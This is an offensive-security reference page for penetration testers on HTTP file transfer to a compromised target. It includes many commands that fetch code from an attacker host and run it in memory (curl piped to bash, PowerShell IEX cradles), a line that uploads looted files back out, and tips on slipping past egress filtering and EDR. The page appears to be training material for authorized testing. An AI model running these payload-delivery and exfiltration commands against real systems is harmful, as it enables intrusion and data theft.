HTTP File Transfer
Turn your attacker box into a throwaway web server and pull files onto the target over an ordinary HTTP GET. It needs nothing pre-installed on the target, works through outbound-only egress, and uses tools present almost everywhere (wget, curl, certutil, PowerShell). Reach for it the moment you have a shell and need your enumerator or a static binary on the box.
Mental model: serve on your box, pull on the target - python3 -m http.server 8000, then wget http://ATTACKER_IP:8000/file (labs and authorized targets only).
New to HTTP transfers? Core concepts
- Serve side / pull side: you run a web server on the attacker box; the target makes an outbound HTTP GET back to fetch a file
ATTACKER_IP/TARGET_IP: your box and the authorized target on the lab network- Web-server one-liner:
python3 -m http.server 8000turns the current folder intohttp://ATTACKER_IP:8000/<filename> - Downloader: the HTTP client on the target -
wget/curlon Linux,certutil/PowerShell/curl.exeon Windows - Writable dir: where you drop files on the target -
/tmp,/dev/shm(Linux),C:\Windows\Temp(Windows) - In-memory / cradle: pull and run without writing to disk -
curl ... | bash,IEX (...DownloadString(...)) - Egress filtering: outbound firewall rules; port
8000may be blocked while80/443is allowed - Checksum:
sha256sum/Get-FileHashto confirm the file arrived whole
When to reach for an HTTP transfer (and when not)
Reach for it to move an enumerator or a static binary onto a target right after a foothold, pull loot back with an upload-capable server, or do a quick one-off transfer without standing up a share. It needs nothing pre-installed on the target and works through outbound-only egress.
Reach for something else when traffic is monitored and cleartext is a problem (scp-ssh-transfer), when you want easy two-way transfer (smb-file-transfer), or when the target has no HTTP client at all (netcat-file-transfer).
Install, update, verify#
sudo apt install -y python3 # Debian / Ubuntu / Kali (server side)
sudo dnf install -y python3 # Fedora / RHEL
pip install --user updog # optional: server that also accepts uploads
python3 --version # confirm the server side
which php ruby busybox # fallback servers when python is missing
Self-test the server before you hand the URL to the target: start it, hit it from your own box, and grab your IP.
python3 -m http.server 8000 & # background it for the test
curl -sI http://127.0.0.1:8000/ | head -1 # expect "HTTP/1.0 200 OK"
ip -4 addr | grep inet # find ATTACKER_IP to give the target
On the target, confirm you actually have a downloader: command -v wget curl on Linux, where certutil (or where curl.exe) on Windows.
Flags you’ll actually use#
Skim these first; the cheat sheet below is these flags combined.
| Flag | Does | Flag | Does |
|---|---|---|---|
http.server PORT | Python: set the listen port | -O FILE | wget: save to this path |
--bind ADDR | Python: bind one interface only | -q | wget: quiet, no progress |
--directory DIR | Python: serve a folder without cd | -o / -O | curl: save to name / keep remote name |
-S ADDR:PORT | php: built-in server address | -s | curl: silent |
-p PORT | updog: port (also accepts uploads) | -F 'file=@f' | curl: upload a file back |
-urlcache -f | certutil: download, overwrite | -OutFile | PowerShell iwr: save path |
-hashfile f SHA256 | certutil: checksum on Windows | -UseBasicParsing | PowerShell iwr: skip IE engine (old hosts) |
Cheat sheet#
Each block starts simple and adds one option at a time, so you can stop at the line that does the job.
# Serve a folder (attacker): pick the line that fits
python3 -m http.server 8000 # cwd, all interfaces
python3 -m http.server 8000 --bind 127.0.0.1 # localhost only (behind an SSH tunnel)
python3 -m http.server 8000 --directory /srv/tools # a folder without cd'ing into it
php -S 0.0.0.0:8000 # no python? PHP built-in server
ruby -run -e httpd . -p 8000 # or Ruby
updog -p 8000 # nicer UI, also accepts uploads
# Pull on a Linux target (save to a writable dir)
wget http://ATTACKER_IP:8000/tool -O /tmp/tool # wget to a chosen path
wget -q http://ATTACKER_IP:8000/tool -O /tmp/tool # + quiet
curl http://ATTACKER_IP:8000/tool -o /tmp/tool # curl equivalent
curl -s http://ATTACKER_IP:8000/tool -o /tmp/tool # + silent
chmod +x /tmp/tool # binaries only
# Run a script without writing it to disk (lab, transient)
curl -s http://ATTACKER_IP:8000/linpeas.sh | bash
wget -qO- http://ATTACKER_IP:8000/linpeas.sh | sh
# Pull on a Windows target
certutil -urlcache -f http://ATTACKER_IP:8000/t.exe t.exe # present on every host
curl.exe http://ATTACKER_IP:8000/t.exe -o t.exe # Windows 10 1803+
iwr http://ATTACKER_IP:8000/t.exe -OutFile t.exe # PowerShell (Invoke-WebRequest)
Start-BitsTransfer -Source http://ATTACKER_IP:8000/t.exe -Destination t.exe
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/t.exe','t.exe') # old hosts
# Cradle a PowerShell script in memory (no file on disk)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/x.ps1')
# Push loot BACK (needs an upload-capable server, e.g. updog)
curl -F 'file=@/tmp/loot.zip' http://ATTACKER_IP:8000/upload
# Verify the file is intact (compare both ends)
sha256sum /tmp/tool # Linux
Get-FileHash .\t.exe -Algorithm SHA256 # Windows (PowerShell)
certutil -hashfile t.exe SHA256 # Windows (no PowerShell)
Command breakdowns#
Each block below explains one situation, the exact command, and what to expect.
Serve a folder over HTTP from your attacker box#
cd ~/labs/box/serve
python3 -m http.server 8000
Everything in the current folder is now at http://ATTACKER_IP:8000/<filename>. It logs every request to the terminal and is read-only (GET/HEAD). Ctrl+C stops it.
Serve a folder without changing directory#
python3 -m http.server 8000 --directory /srv/tools
--directory (Python 3.7+) serves any folder without a cd, so you keep your shell where it is and never accidentally expose your home directory.
Bind the server to localhost for an SSH tunnel#
python3 -m http.server 8000 --bind 127.0.0.1
--bind 127.0.0.1 stops the whole network segment from reaching your tools. Reach it from the target through an SSH forward instead of exposing 0.0.0.0.
Serve when Python is not installed#
php -S 0.0.0.0:8000
ruby -run -e httpd . -p 8000
busybox httpd -f -p 8000
Same idea, different binary. Whatever the attacker box already has wins; all three serve the current directory over HTTP.
Accept uploads back to your box#
updog -p 8000 # pip install updog
Plain http.server is GET-only, so a target POST returns 501. updog adds an upload form and accepts POSTs, which is how you pull loot back without a share.
Download a file on a Linux target#
wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy
curl http://ATTACKER_IP:8000/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy
Save into a world-writable dir (/tmp or /dev/shm) and chmod +x a binary. /dev/shm lives in memory, handy when the disk is watched or read-only.
Run a script in memory without touching disk#
curl -s http://ATTACKER_IP:8000/linpeas.sh | bash
The script never lands on disk, which dodges file-write monitoring, but it still shows up in process accounting and shell history. Only pipe scripts; a piped binary corrupts.
Download a file on Windows with certutil#
certutil -urlcache -f http://ATTACKER_IP:8000/winpeas.exe C:\Windows\Temp\wp.exe
certutil is on every Windows host. -urlcache -f downloads and overwrites. It is heavily signatured by EDR, so treat a silent failure as a block and fall back to another method.
Download a file on Windows with PowerShell#
iwr http://ATTACKER_IP:8000/winpeas.exe -OutFile C:\Windows\Temp\wp.exe
Start-BitsTransfer -Source http://ATTACKER_IP:8000/winpeas.exe -Destination wp.exe
iwr (Invoke-WebRequest) is the modern default. Start-BitsTransfer hands the job to the Windows BITS service, which resumes on drop and often blends in better than a raw client.
Download on an old Windows host with WebClient#
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/winpeas.exe','wp.exe')
The .NET WebClient works on legacy Windows where iwr misbehaves (no IE engine, ancient PowerShell). Relative paths land in the process’s current directory.
Cradle a PowerShell script in memory#
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1')
DownloadString pulls the .ps1 as text and IEX runs it without a file on disk. This is exactly the pattern script-block logging (event 4104) is built to catch, so expect it to be loud.
Download on Windows with curl.exe#
curl.exe http://ATTACKER_IP:8000/winpeas.exe -o C:\Windows\Temp\wp.exe
Windows 10 1803+ ships the real curl as curl.exe. Use the .exe explicitly, because bare curl in PowerShell is an alias for Invoke-WebRequest and does not take -o.
Fetch several tools in one loop#
for f in linpeas.sh pspy64 socat; do wget -q http://ATTACKER_IP:8000/$f -O /tmp/$f; done
chmod +x /tmp/pspy64 /tmp/socat
One server feeds the whole set. Serve once on the attacker, loop the pulls on the target, and mark the binaries executable in a single follow-up.
Verify the download arrived intact#
sha256sum /tmp/pspy64 # target (Linux)
Get-FileHash .\wp.exe -Algorithm SHA256 # target (Windows)
Compare against the hash on your attacker box. A truncated or proxy-mangled download is the classic “it will not run”, and the checksum catches it instantly.
Beat egress filtering by serving on port 80 or 443#
sudo python3 -m http.server 80 # 80/443 need root (privileged ports)
When 8000 times out but web traffic flows, move the server to a port the firewall already allows. 443 blends best with normal outbound HTTPS-looking noise, though the transfer itself is still cleartext.
Reading the output#
The attacker’s server prints one access-log line per request. Read it to confirm the target actually reached you.
10.10.10.5 - - [04/Jul/2026 12:00:00] "GET /linpeas.sh HTTP/1.1" 200 -
| You see | Meaning | Do next |
|---|---|---|
"GET /file" 200 | Target pulled the file | Proceed; the transfer worked |
"GET /file" 404 | Wrong name or wrong serve dir | Fix the filename; cd into the right folder |
| Client IP is the target | The target can reach your box | Your egress path is open |
"POST /upload" 501 | http.server is GET-only | Use updog or SMB to accept uploads |
| No log line at all | Target never connected | Firewall, wrong IP, or blocked port |
Troubleshooting#
| Problem | Cause | Fix |
|---|---|---|
404 on the target | Wrong folder or filename | cd into the serve dir; check the exact name |
| Connection refused / timeout | Egress filtering or wrong IP/port | Serve on 80/443; confirm ATTACKER_IP and port |
| Binary will not run | Truncated download or no +x | Re-pull; sha256sum both ends; chmod +x |
certutil fails or file vanishes | AV/EDR signature | Try curl.exe, iwr, Start-BitsTransfer, or SMB |
PowerShell iwr hangs | IE engine not initialized (old host) | Add -UseBasicParsing, or use WebClient |
PowerShell curl acts weird | Aliased to Invoke-WebRequest | Call curl.exe |
| Binary saved as garbled text | Piped a binary to a shell | Save with -O/-OutFile; never pipe binaries |
501 in the server log | http.server is GET-only | Use updog or an SMB share for uploads |
Gotchas#
http.serverbinds0.0.0.0by default, so anyone on the segment can pull your tooling and see your IP. Bind127.0.0.1behind a tunnel, or stop it the instant you are done.certutilcaches every URL it fetches under the user profile;certutil -urlcache *lists them and it is a forensic artifact.certutil -urlcache -f URL deleteclears one entry.iwruses the Internet Explorer engine on Windows PowerShell 5; on a fresh host where IE was never opened it hangs.-UseBasicParsing(or theWebClientone-liner) avoids it.- HTTP transfer is cleartext and loud. The file and the GET are visible to any sensor, and
certutil -urlcache,IEX (New-Object Net.WebClient), and exe downloads from odd ports are heavily signatured. Fast, but switch toscpwhen it matters. - Only scripts can be piped to a shell. Pipe a binary into
bashand it corrupts silently; save it to disk andchmod +xinstead. - On Windows,
curlandwgetare PowerShell aliases forInvoke-WebRequest, not the real tools. Callcurl.exewhen you want genuine curl behavior and flags.
Pairs with#
nmap confirms an outbound path and the open port before you rely on one. When cleartext is a problem or SSH is available, scp-ssh-transfer is the encrypted default, smb-file-transfer wins when SMB is open and you want easy two-way transfer, and netcat-file-transfer covers boxes with no HTTP client at all. See windows-download-methods for the full Windows pull set. HTTP transfer is how you most often deliver linpeas, winpeas, and pspy.